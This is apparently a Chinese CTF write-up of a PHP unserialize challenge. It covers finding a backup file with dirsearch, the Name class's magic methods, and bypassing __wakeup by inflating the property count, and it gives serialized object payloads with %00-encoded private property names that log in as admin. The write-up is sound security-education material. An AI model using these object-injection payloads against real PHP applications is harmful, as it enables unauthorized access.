http://39.96.86.88/2020/04/03/
提示有备份,菜鸡我第一时间想到的就是index.php.bak,但试过后明显没有这个文件,于是只有用dirsearch扫描以下目录了。
index.php里面包含了class.php
include() //可运行包含文件里的代码
$_GET() //传参
unserialize() //反序列化
然后去看class.php,有一大堆函数,相当于给index.php加了一个Name类。
有几个函数与方法:
function __construct() //构造函数
function __wakeup() //unserialize()调用时会先运行此函数加载资源
function __distruct() //析构函数
大致意思是你得调用Name类,序列化admin与passwrod,还得绕过__wakeup()(一般序列化都会出现绕过wakeup函数)。在本地调试加上:
$a = new Name('admin', 100);
$b = serialize($a);
print($b);
然后构造payload:
一般利用属性个数大于真实个数时可以绕过wakeup()函数
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}
绕过wakeup后还不够,因为username与password都是私有的。上传时会自动在类与字段名前加上 \0 (这里表示ascii为0的字符也就是 空 )。但你在复制时会被去掉,所以上面的payload直接用是不行了。于是可以加上 %00 (url解码后也为空)
payload:O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
或者也可以用python提交:
大佬资料:https://blog.csdn.net/weixin_44077544/article/details/103542260